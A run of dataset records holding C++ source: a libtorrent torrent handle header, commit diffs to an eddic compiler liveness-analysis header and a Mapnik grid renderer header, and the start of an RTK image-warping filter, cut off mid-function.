IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_TORRENT_HANDLE_HPP_INCLUDED\n#define TORRENT_TORRENT_HANDLE_HPP_INCLUDED\n\n#include <vector>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/peer_id.hpp\"\n#include \"libtorrent\/peer_info.hpp\"\n#include \"libtorrent\/piece_picker.hpp\"\n#include \"libtorrent\/torrent_info.hpp\"\n#include \"libtorrent\/config.hpp\"\n\nnamespace libtorrent\n{\n\tnamespace aux\n\t{\n\t\tstruct session_impl;\n\t\tstruct checker_impl;\n\t}\n\n\tstruct TORRENT_EXPORT duplicate_torrent: std::exception\n\t{\n\t\tvirtual const char* what() const throw()\n\t\t{ return \"torrent already exists in session\"; }\n\t};\n\n\tstruct TORRENT_EXPORT invalid_handle: std::exception\n\t{\n\t\tvirtual const char* what() const throw()\n\t\t{ return \"invalid torrent handle used\"; }\n\t};\n\n\tstruct TORRENT_EXPORT torrent_status\n\t{\n\t\ttorrent_status()\n\t\t\t: state(queued_for_checking)\n\t\t\t, paused(false)\n\t\t\t, progress(0.f)\n\t\t\t, total_download(0)\n\t\t\t, total_upload(0)\n\t\t\t, total_payload_download(0)\n\t\t\t, total_payload_upload(0)\n\t\t\t, total_failed_bytes(0)\n\t\t\t, total_redundant_bytes(0)\n\t\t\t, download_rate(0)\n\t\t\t, upload_rate(0)\n\t\t\t, download_payload_rate(0)\n\t\t\t, upload_payload_rate(0)\n\t\t\t, num_peers(0)\n\t\t\t, num_complete(-1)\n\t\t\t, num_incomplete(-1)\n\t\t\t, pieces(0)\n\t\t\t, num_pieces(0)\n\t\t\t, total_done(0)\n\t\t\t, total_wanted_done(0)\n\t\t\t, total_wanted(0)\n\t\t\t, num_seeds(0)\n\t\t\t, distributed_copies(0.f)\n\t\t\t, block_size(0)\n\t\t{}\n\n\t\tenum state_t\n\t\t{\n\t\t\tqueued_for_checking,\n\t\t\tchecking_files,\n\t\t\tconnecting_to_tracker,\n\t\t\tdownloading_metadata,\n\t\t\tdownloading,\n\t\t\tfinished,\n\t\t\tseeding,\n\t\t\tallocating\n\t\t};\n\t\t\n\t\tstate_t state;\n\t\tbool paused;\n\t\tfloat progress;\n\t\tboost::posix_time::time_duration next_announce;\n\t\tboost::posix_time::time_duration announce_interval;\n\n\t\tstd::string current_tracker;\n\n\t\t\/\/ transferred this session!\n\t\t\/\/ total, payload plus protocol\n\t\tsize_type total_download;\n\t\tsize_type total_upload;\n\n\t\t\/\/ payload only\n\t\tsize_type total_payload_download;\n\t\tsize_type total_payload_upload;\n\n\t\t\/\/ the amount of payload bytes that\n\t\t\/\/ has failed their hash test\n\t\tsize_type total_failed_bytes;\n\n\t\t\/\/ the number of payload bytes that\n\t\t\/\/ has been received redundantly.\n\t\tsize_type total_redundant_bytes;\n\n\t\t\/\/ current transfer rate\n\t\t\/\/ payload plus protocol\n\t\tfloat download_rate;\n\t\tfloat upload_rate;\n\n\t\t\/\/ the rate of payload that is\n\t\t\/\/ sent and received\n\t\tfloat download_payload_rate;\n\t\tfloat upload_payload_rate;\n\n\t\t\/\/ the number of peers this torrent\n\t\t\/\/ is connected to.\n\t\tint num_peers;\n\n\t\t\/\/ if the tracker sends scrape info in its\n\t\t\/\/ announce reply, these fields will be\n\t\t\/\/ set to the total number of peers that\n\t\t\/\/ have the whole file and the total number\n\t\t\/\/ of peers that are still downloading\n\t\tint num_complete;\n\t\tint num_incomplete;\n\n\t\tconst std::vector<bool>* pieces;\n\t\t\n\t\t\/\/ this is the number of pieces the client has\n\t\t\/\/ downloaded. it is equal to:\n\t\t\/\/ std::accumulate(pieces->begin(), pieces->end());\n\t\tint num_pieces;\n\n\t\t\/\/ the number of bytes of the file we have\n\t\t\/\/ including pieces that may have been filtered\n\t\t\/\/ after we downloaded them\n\t\tsize_type total_done;\n\n\t\t\/\/ the number of bytes we have of those that we\n\t\t\/\/ want. i.e. not counting bytes from pieces that\n\t\t\/\/ are filtered as not wanted.\n\t\tsize_type total_wanted_done;\n\n\t\t\/\/ the total number of bytes we want to download\n\t\t\/\/ this may be smaller than the total torrent size\n\t\t\/\/ in case any pieces are filtered as not wanted\n\t\tsize_type total_wanted;\n\n\t\t\/\/ the number of peers this torrent is connected to\n\t\t\/\/ that are seeding.\n\t\tint num_seeds;\n\n\t\t\/\/ the number of distributed copies of the file.\n\t\t\/\/ note that one copy may be spread out among many peers.\n\t\t\/\/\n\t\t\/\/ the whole number part tells how many copies\n\t\t\/\/   there are of the rarest piece(s)\n\t\t\/\/\n\t\t\/\/ the fractional part tells the fraction of pieces that\n\t\t\/\/   have more copies than the rarest piece(s).\n\t\tfloat distributed_copies;\n\n\t\t\/\/ the block size that is used in this torrent. i.e.\n\t\t\/\/ the number of bytes each piece request asks for\n\t\t\/\/ and each bit in the download queue bitfield represents\n\t\tint block_size;\n\t};\n\n\tstruct TORRENT_EXPORT partial_piece_info\n\t{\n\t\tenum { max_blocks_per_piece = piece_picker::max_blocks_per_piece };\n\t\tint piece_index;\n\t\tint blocks_in_piece;\n\t\tstd::bitset<max_blocks_per_piece> requested_blocks;\n\t\tstd::bitset<max_blocks_per_piece> finished_blocks;\n\t\ttcp::endpoint peer[max_blocks_per_piece];\n\t\tint num_downloads[max_blocks_per_piece];\n\t};\n\n\tstruct TORRENT_EXPORT torrent_handle\n\t{\n\t\tfriend class invariant_access;\n\t\tfriend struct aux::session_impl;\n\t\tfriend class torrent;\n\n\t\ttorrent_handle(): m_ses(0), m_chk(0) {}\n\n\t\tvoid get_peer_info(std::vector<peer_info>& v) const;\n\t\tbool send_chat_message(tcp::endpoint ip, std::string message) const;\n\t\ttorrent_status status() const;\n\t\tvoid get_download_queue(std::vector<partial_piece_info>& queue) const;\n\t\t\n\t\t\/\/ fills the specified vector with the download progress [0, 1]\n\t\t\/\/ of each file in the torrent. The files are ordered as in\n\t\t\/\/ the torrent_info.\n\t\tvoid file_progress(std::vector<float>& progress);\n\n\t\tstd::vector<announce_entry> const& trackers() const;\n\t\tvoid replace_trackers(std::vector<announce_entry> const&) const;\n\n\t\tvoid add_url_seed(std::string const& url);\n\n\t\tbool has_metadata() const;\n\t\tconst torrent_info& get_torrent_info() const;\n\t\tbool is_valid() const;\n\n\t\tbool is_seed() const;\n\t\tbool is_paused() const;\n\t\tvoid pause() const;\n\t\tvoid resume() const;\n\n\t\t\/\/ marks the piece with the given index as filtered\n\t\t\/\/ it will not be downloaded\n\t\tvoid filter_piece(int index, bool filter) const;\n\t\tvoid filter_pieces(std::vector<bool> const& pieces) const;\n\t\tbool is_piece_filtered(int index) const;\n\t\tstd::vector<bool> filtered_pieces() const;\n\n\t\t\/\/ marks the file with the given index as filtered\n\t\t\/\/ it will not be downloaded\n\t\tvoid filter_files(std::vector<bool> const& files) const;\n\n\t\t\/\/ set the interface to bind outgoing connections\n\t\t\/\/ to.\n\t\tvoid use_interface(const char* net_interface) const;\n\n\t\tentry write_resume_data() const;\n\n\t\t\/\/ kind of similar to get_torrent_info() but this\n\t\t\/\/ is lower level, returning the exact info-part of\n\t\t\/\/ the .torrent file. When hashed, this buffer\n\t\t\/\/ will produce the info hash. The reference is valid\n\t\t\/\/ only as long as the torrent is running.\n\t\tstd::vector<char> const& metadata() const;\n\n\t\t\/\/ forces this torrent to reannounce\n\t\t\/\/ (make a rerequest from the tracker)\n\t\tvoid force_reannounce() const;\n\n\t\t\/\/ forces a reannounce in the specified amount of time.\n\t\t\/\/ This overrides the default announce interval, and no\n\t\t\/\/ announce will take place until the given time has\n\t\t\/\/ timed out.\n\t\tvoid force_reannounce(boost::posix_time::time_duration) const;\n\n\t\t\/\/ TODO: add a feature where the user can tell the torrent\n\t\t\/\/ to finish all pieces currently in the pipeline, and then\n\t\t\/\/ abort the torrent.\n\n\t\tvoid set_upload_limit(int limit) const;\n\t\tvoid set_download_limit(int limit) const;\n\t\tvoid set_sequenced_download_threshold(int threshold) const;\n\n\t\tvoid set_peer_upload_limit(tcp::endpoint ip, int limit) const;\n\t\tvoid set_peer_download_limit(tcp::endpoint ip, int limit) const;\n\n\t\t\/\/ manually connect a peer\n\t\tvoid connect_peer(tcp::endpoint const& adr) const;\n\n\t\t\/\/ valid ratios are 0 (infinite ratio) or [ 1.0 , inf )\n\t\t\/\/ the ratio is uploaded \/ downloaded. less than 1 is not allowed\n\t\tvoid set_ratio(float up_down_ratio) const;\n\n\t\tboost::filesystem::path save_path() const;\n\n\t\t\/\/ -1 means unlimited unchokes\n\t\tvoid set_max_uploads(int max_uploads) const;\n\n\t\t\/\/ -1 means unlimited connections\n\t\tvoid set_max_connections(int max_connections) const;\n\n\t\tvoid set_tracker_login(std::string const& name\n\t\t\t, std::string const& password) const;\n\n\t\t\/\/ post condition: save_path() == save_path if true is returned\n\t\tbool move_storage(boost::filesystem::path const& save_path) const;\n\n\t\tconst sha1_hash& info_hash() const\n\t\t{ return m_info_hash; }\n\n\t\tbool operator==(const torrent_handle& h) const\n\t\t{ return m_info_hash == h.m_info_hash; }\n\n\t\tbool operator!=(const torrent_handle& h) const\n\t\t{ return m_info_hash != h.m_info_hash; }\n\n\t\tbool operator<(const torrent_handle& h) const\n\t\t{ return m_info_hash < h.m_info_hash; }\n\n\tprivate:\n\n\t\ttorrent_handle(aux::session_impl* s,\n\t\t\taux::checker_impl* c,\n\t\t\tconst sha1_hash& h)\n\t\t\t: m_ses(s)\n\t\t\t, m_chk(c)\n\t\t\t, m_info_hash(h)\n\t\t{\n\t\t\tassert(m_ses != 0);\n\t\t}\n\n#ifndef NDEBUG\n\t\tvoid check_invariant() const;\n#endif\n\n\t\taux::session_impl* m_ses;\n\t\taux::checker_impl* m_chk;\n\t\tsha1_hash m_info_hash;\n\n\t};\n\n\n}\n\n#endif \/\/ TORRENT_TORRENT_HANDLE_HPP_INCLUDED\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011-2012.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef MTAC_LIVE_REGISTERS_PROBLEM_H\n#define MTAC_LIVE_REGISTERS_PROBLEM_H\n\n#include <memory>\n#include <iostream>\n#include <unordered_set>\n\n#include \"assert.hpp\"\n\n#include \"mtac\/DataFlowProblem.hpp\"\n\n\/\/Necessary for hash\n#include \"ltac\/Register.hpp\"\n#include \"ltac\/FloatRegister.hpp\"\n#include \"ltac\/PseudoRegister.hpp\"\n#include \"ltac\/PseudoFloatRegister.hpp\"\n\nnamespace eddic {\n\nnamespace ltac {\n\ntemplate<typename Reg, typename FloatReg>\nstruct LiveRegisterValues {\n    std::unordered_set<Reg> registers;\n    std::unordered_set<FloatReg> float_registers;\n\n    void insert(const Reg& reg){\n        registers.insert(reg);\n    }\n\n    void insert(const FloatReg& reg){\n        float_registers.insert(reg);\n    }\n\n    auto find(const Reg& reg) -> decltype(registers.find(reg)) {\n        return registers.find(reg);\n    }\n    \n    auto find(const FloatReg& reg) -> decltype(float_registers.find(reg)) {\n        return float_registers.find(reg);\n    }\n    \n    auto end() -> decltype(registers.end()) {\n        return registers.end();\n    }\n    \n    auto fend() -> decltype(float_registers.end()) {\n        return float_registers.end();\n    }\n    \n    void erase(const Reg& reg){\n        registers.erase(reg);\n    }\n\n    void erase(const FloatReg& reg){\n        float_registers.erase(reg);\n    }\n\n    std::size_t size(){\n        return (static_cast<std::size_t>(std::numeric_limits<unsigned short>::max()) + 1) * registers.size() + float_registers.size();\n    }\n};\n\n\/\/Liveness analysis on Hard Registers\n\nstruct LiveRegistersProblem : public mtac::DataFlowProblem<mtac::DataFlowType::Low_Backward, LiveRegisterValues<ltac::Register, ltac::FloatRegister>> {\n    ProblemDomain Boundary(mtac::Function& function) override;\n    ProblemDomain Init(mtac::Function& function) override;\n   \n    void meet(ProblemDomain& in, const ProblemDomain& out) override;\n\n    ProblemDomain transfer(mtac::basic_block_p basic_block, ltac::Statement& statement, ProblemDomain& in) override;\n    ProblemDomain transfer(mtac::basic_block_p, std::shared_ptr<mtac::Quadruple>&, ProblemDomain&) override { eddic_unreachable(\"Not MTAC\"); };\n    \n    bool optimize(ltac::Statement& statement, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> results) override;\n    bool optimize(mtac::Function& function, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> ) override { eddic_unreachable(\"Not MTAC\"); };\n};\n\n\/\/Liveness analysis on Pseudo Registers\n\nstruct LivePseudoRegistersProblem : public mtac::DataFlowProblem<mtac::DataFlowType::Low_Backward, LiveRegisterValues<ltac::PseudoRegister, ltac::PseudoFloatRegister>> {\n    ProblemDomain Boundary(mtac::Function& function) override;\n    ProblemDomain Init(mtac::Function& function) override;\n   \n    void meet(ProblemDomain& in, const ProblemDomain& out) override;\n\n    ProblemDomain transfer(mtac::basic_block_p basic_block, ltac::Statement& statement, ProblemDomain& in) override;\n    ProblemDomain transfer(mtac::basic_block_p, std::shared_ptr<mtac::Quadruple>&, ProblemDomain&) override { eddic_unreachable(\"Not MTAC\"); };\n    \n    bool optimize(ltac::Statement& statement, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> results) override;\n    bool optimize(mtac::Function& function, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> ) override { eddic_unreachable(\"Not MTAC\"); };\n};\n\ntemplate<typename Reg, typename FloatReg>\nstd::ostream& operator<<(std::ostream& stream, const LiveRegisterValues<Reg, FloatReg>& value){\n    stream << \"set{\";\n\n    for(auto& v : value.registers){\n        stream << v << \", \";\n    }\n    \n    for(auto& v : value.float_registers){\n        stream << v << \", \";\n    }\n\n    return stream << \"}\";\n}\n\n} \/\/end of mtac\n\n} \/\/end of eddic\n\n#endif\n<commit_msg>Fix warnings<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011-2012.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef MTAC_LIVE_REGISTERS_PROBLEM_H\n#define MTAC_LIVE_REGISTERS_PROBLEM_H\n\n#include <memory>\n#include <iostream>\n#include <unordered_set>\n\n#include \"assert.hpp\"\n\n#include \"mtac\/DataFlowProblem.hpp\"\n\n\/\/Necessary for hash\n#include \"ltac\/Register.hpp\"\n#include \"ltac\/FloatRegister.hpp\"\n#include \"ltac\/PseudoRegister.hpp\"\n#include \"ltac\/PseudoFloatRegister.hpp\"\n\nnamespace eddic {\n\nnamespace ltac {\n\ntemplate<typename Reg, typename FloatReg>\nstruct LiveRegisterValues {\n    std::unordered_set<Reg> registers;\n    std::unordered_set<FloatReg> float_registers;\n\n    void insert(const Reg& reg){\n        registers.insert(reg);\n    }\n\n    void insert(const FloatReg& reg){\n        float_registers.insert(reg);\n    }\n\n    auto find(const Reg& reg) -> decltype(registers.find(reg)) {\n        return registers.find(reg);\n    }\n    \n    auto find(const FloatReg& reg) -> decltype(float_registers.find(reg)) {\n        return float_registers.find(reg);\n    }\n    \n    auto end() -> decltype(registers.end()) {\n        return registers.end();\n    }\n    \n    auto fend() -> decltype(float_registers.end()) {\n        return float_registers.end();\n    }\n    \n    void erase(const Reg& reg){\n        registers.erase(reg);\n    }\n\n    void erase(const FloatReg& reg){\n        float_registers.erase(reg);\n    }\n\n    std::size_t size(){\n        return (static_cast<std::size_t>(std::numeric_limits<unsigned short>::max()) + 1) * registers.size() + float_registers.size();\n    }\n};\n\n\/\/Liveness analysis on Hard Registers\n\nstruct LiveRegistersProblem : public mtac::DataFlowProblem<mtac::DataFlowType::Low_Backward, LiveRegisterValues<ltac::Register, ltac::FloatRegister>> {\n    ProblemDomain Boundary(mtac::Function& function) override;\n    ProblemDomain Init(mtac::Function& function) override;\n   \n    void meet(ProblemDomain& in, const ProblemDomain& out) override;\n\n    ProblemDomain transfer(mtac::basic_block_p basic_block, ltac::Statement& statement, ProblemDomain& in) override;\n    ProblemDomain transfer(mtac::basic_block_p, std::shared_ptr<mtac::Quadruple>&, ProblemDomain&) override { eddic_unreachable(\"Not MTAC\"); };\n    \n    bool optimize(ltac::Statement& statement, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> results) override;\n    bool optimize(mtac::Function&, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> ) override { eddic_unreachable(\"Not MTAC\"); };\n};\n\n\/\/Liveness analysis on Pseudo Registers\n\nstruct LivePseudoRegistersProblem : public mtac::DataFlowProblem<mtac::DataFlowType::Low_Backward, LiveRegisterValues<ltac::PseudoRegister, ltac::PseudoFloatRegister>> {\n    ProblemDomain Boundary(mtac::Function& function) override;\n    ProblemDomain Init(mtac::Function& function) override;\n   \n    void meet(ProblemDomain& in, const ProblemDomain& out) override;\n\n    ProblemDomain transfer(mtac::basic_block_p basic_block, ltac::Statement& statement, ProblemDomain& in) override;\n    ProblemDomain transfer(mtac::basic_block_p, std::shared_ptr<mtac::Quadruple>&, ProblemDomain&) override { eddic_unreachable(\"Not MTAC\"); };\n    \n    bool optimize(ltac::Statement& statement, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> results) override;\n    bool optimize(mtac::Function&, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> ) override { eddic_unreachable(\"Not MTAC\"); };\n};\n\ntemplate<typename Reg, typename FloatReg>\nstd::ostream& operator<<(std::ostream& stream, const LiveRegisterValues<Reg, FloatReg>& value){\n    stream << \"set{\";\n\n    for(auto& v : value.registers){\n        stream << v << \", \";\n    }\n    \n    for(auto& v : value.float_registers){\n        stream << v << \", \";\n    }\n\n    return stream << \"}\";\n}\n\n} \/\/end of mtac\n\n} \/\/end of eddic\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef GRID_RENDERER_HPP\n#define GRID_RENDERER_HPP\n\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/feature_style_processor.hpp>\n#include <mapnik\/font_engine_freetype.hpp>\n#include <mapnik\/label_collision_detector.hpp>\n#include <mapnik\/map.hpp>\n#include <mapnik\/rule.hpp> \/\/ for all symbolizers\n#include <mapnik\/grid\/grid.hpp>\n\n\/\/ boost\n#include <boost\/utility.hpp>\n#include <boost\/scoped_ptr.hpp>\n\n\/\/ FIXME\n\/\/ forward declare so that\n\/\/ apps using mapnik do not\n\/\/ need agg headers\nnamespace agg {\nstruct trans_affine;\n}\n\nnamespace mapnik {\n\nclass marker;\n\nstruct grid_rasterizer;\n\ntemplate <typename T>\nclass MAPNIK_DECL grid_renderer : public feature_style_processor<grid_renderer<T> >,\n                                  private boost::noncopyable\n{\n\npublic:\n    typedef grid_renderer<T> processor_impl_type;\n    grid_renderer(Map const& m, T & pixmap, double scale_factor=1.0, unsigned offset_x=0, unsigned offset_y=0);\n    ~grid_renderer();\n    void start_map_processing(Map const& map);\n    void end_map_processing(Map const& map);\n    void start_layer_processing(layer const& lay, box2d<double> const& query_extent);\n    void end_layer_processing(layer const& lay);\n    void start_style_processing(feature_type_style const& st) {}\n    void end_style_processing(feature_type_style const& st) {}\n    void render_marker(mapnik::feature_impl & feature, unsigned int step, pixel_position const& pos, marker const& marker, const agg::trans_affine & tr, double opacity, composite_mode_e comp_op);\n\n    void process(point_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(line_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(line_pattern_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(polygon_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(polygon_pattern_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(raster_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(shield_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(text_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(building_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(markers_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    inline bool process(rule::symbolizers const& \/*syms*\/,\n                        mapnik::feature_impl & \/*feature*\/,\n                        proj_transform const& \/*prj_trans*\/)\n    {\n        \/\/ grid renderer doesn't support processing of multiple symbolizers.\n        return false;\n    };\n    void painted(bool painted)\n    {\n        pixmap_.painted(painted);\n    }\n\nprivate:\n    T & pixmap_;\n    unsigned width_;\n    unsigned height_;\n    double scale_factor_;\n    CoordTransform t_;\n    freetype_engine font_engine_;\n    face_manager<freetype_engine> font_manager_;\n    boost::shared_ptr<label_collision_detector4> detector_;\n    boost::scoped_ptr<grid_rasterizer> ras_ptr;\n    box2d<double> query_extent_;\n    void setup(Map const& m);\n};\n}\n\n#endif \/\/GRID_RENDERER_HPP\n<commit_msg>make public the grid_renderer buffer type like AGG renderer<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef GRID_RENDERER_HPP\n#define GRID_RENDERER_HPP\n\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/feature_style_processor.hpp>\n#include <mapnik\/font_engine_freetype.hpp>\n#include <mapnik\/label_collision_detector.hpp>\n#include <mapnik\/map.hpp>\n#include <mapnik\/rule.hpp> \/\/ for all symbolizers\n#include <mapnik\/grid\/grid.hpp>\n\n\/\/ boost\n#include <boost\/utility.hpp>\n#include <boost\/scoped_ptr.hpp>\n\n\/\/ FIXME\n\/\/ forward declare so that\n\/\/ apps using mapnik do not\n\/\/ need agg headers\nnamespace agg {\nstruct trans_affine;\n}\n\nnamespace mapnik {\n\nclass marker;\n\nstruct grid_rasterizer;\n\ntemplate <typename T>\nclass MAPNIK_DECL grid_renderer : public feature_style_processor<grid_renderer<T> >,\n                                  private boost::noncopyable\n{\n\npublic:\n    typedef T buffer_type;\n    typedef grid_renderer<T> processor_impl_type;\n    grid_renderer(Map const& m, T & pixmap, double scale_factor=1.0, unsigned offset_x=0, unsigned offset_y=0);\n    ~grid_renderer();\n    void start_map_processing(Map const& map);\n    void end_map_processing(Map const& map);\n    void start_layer_processing(layer const& lay, box2d<double> const& query_extent);\n    void end_layer_processing(layer const& lay);\n    void start_style_processing(feature_type_style const& st) {}\n    void end_style_processing(feature_type_style const& st) {}\n    void render_marker(mapnik::feature_impl & feature, unsigned int step, pixel_position const& pos, marker const& marker, const agg::trans_affine & tr, double opacity, composite_mode_e comp_op);\n\n    void process(point_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(line_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(line_pattern_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(polygon_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(polygon_pattern_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(raster_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(shield_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(text_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(building_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    void process(markers_symbolizer const& sym,\n                 mapnik::feature_impl & feature,\n                 proj_transform const& prj_trans);\n    inline bool process(rule::symbolizers const& \/*syms*\/,\n                        mapnik::feature_impl & \/*feature*\/,\n                        proj_transform const& \/*prj_trans*\/)\n    {\n        \/\/ grid renderer doesn't support processing of multiple symbolizers.\n        return false;\n    };\n    void painted(bool painted)\n    {\n        pixmap_.painted(painted);\n    }\n\nprivate:\n    buffer_type & pixmap_;\n    unsigned width_;\n    unsigned height_;\n    double scale_factor_;\n    CoordTransform t_;\n    freetype_engine font_engine_;\n    face_manager<freetype_engine> font_manager_;\n    boost::shared_ptr<label_collision_detector4> detector_;\n    boost::scoped_ptr<grid_rasterizer> ras_ptr;\n    box2d<double> query_extent_;\n    void setup(Map const& m);\n};\n}\n\n#endif \/\/GRID_RENDERER_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n *\n *  Copyright RTK Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n#ifndef rtkForwardWarpImageFilter_hxx\n#define rtkForwardWarpImageFilter_hxx\n\n#include \"rtkForwardWarpImageFilter.h\"\n#include \"rtkHomogeneousMatrix.h\"\n\n#include <itkImageRegionConstIterator.h>\n#include <itkImageRegionConstIteratorWithIndex.h>\n#include <itkNeighborhoodIterator.h>\n#include <itkConstantBoundaryCondition.h>\n#include <itkLinearInterpolateImageFunction.h>\n#include <itkMacro.h>\n\nnamespace rtk\n{\n\ntemplate <class TInputImage, class TOutputImage, class TDVF>\nForwardWarpImageFilter<TInputImage, TOutputImage, TDVF>\n::ForwardWarpImageFilter()\n{\n  m_Protected_DefFieldSizeSame = false;\n  m_Protected_EndIndex.Fill(0);\n  m_Protected_StartIndex.Fill(0);\n}\n\ntemplate <class TInputImage, class TOutputImage, class TDVF>\nvoid\nForwardWarpImageFilter<TInputImage, TOutputImage, TDVF>\n::Protected_EvaluateDisplacementAtPhysicalPoint(const PointType & point, DisplacementType &output)\n{\n\n  DisplacementFieldPointer fieldPtr = this->GetDisplacementField();\n\n  itk::ContinuousIndex< double, TDVF::ImageDimension > index;\n  fieldPtr->TransformPhysicalPointToContinuousIndex(point, index);\n  unsigned int dim;  \/\/ index over dimension\n  \/**\n   * Compute base index = closest index below point\n   * Compute distance from point to base index\n   *\/\n  typename TDVF::IndexType baseIndex;\n  typename TDVF::IndexType neighIndex;\n  double    distance[TDVF::ImageDimension];\n\n  for ( dim = 0; dim < TDVF::ImageDimension; dim++ )\n    {\n    baseIndex[dim] = itk::Math::Floor< typename TDVF::IndexValueType >(index[dim]);\n\n    if ( baseIndex[dim] >=  this->m_Protected_StartIndex[dim] )\n      {\n      if ( baseIndex[dim] <  this->m_Protected_EndIndex[dim] )\n        {\n        distance[dim] = index[dim] - static_cast< double >( baseIndex[dim] );\n        }\n      else\n        {\n        baseIndex[dim] = this->m_Protected_EndIndex[dim];\n        distance[dim] = 0.0;\n        }\n      }\n    else\n      {\n      baseIndex[dim] = this->m_Protected_StartIndex[dim];\n      distance[dim] = 0.0;\n      }\n    }\n\n  \/**\n   * Interpolated value is the weight some of each of the surrounding\n   * neighbors. The weight for each neighbour is the fraction overlap\n   * of the neighbor pixel with respect to a pixel centered on point.\n   *\/\n  output.Fill(0);\n\n  double       totalOverlap = 0.0;\n  unsigned int numNeighbors(1 << TInputImage::ImageDimension);\n\n  for ( unsigned int counter = 0; counter < numNeighbors; counter++ )\n    {\n    double       overlap = 1.0;    \/\/ fraction overlap\n    unsigned int upper = counter;  \/\/ each bit indicates upper\/lower neighbour\n\n    \/\/ get neighbor index and overlap fraction\n    for ( dim = 0; dim < TDVF::ImageDimension; dim++ )\n      {\n      if ( upper & 1 )\n        {\n        neighIndex[dim] = 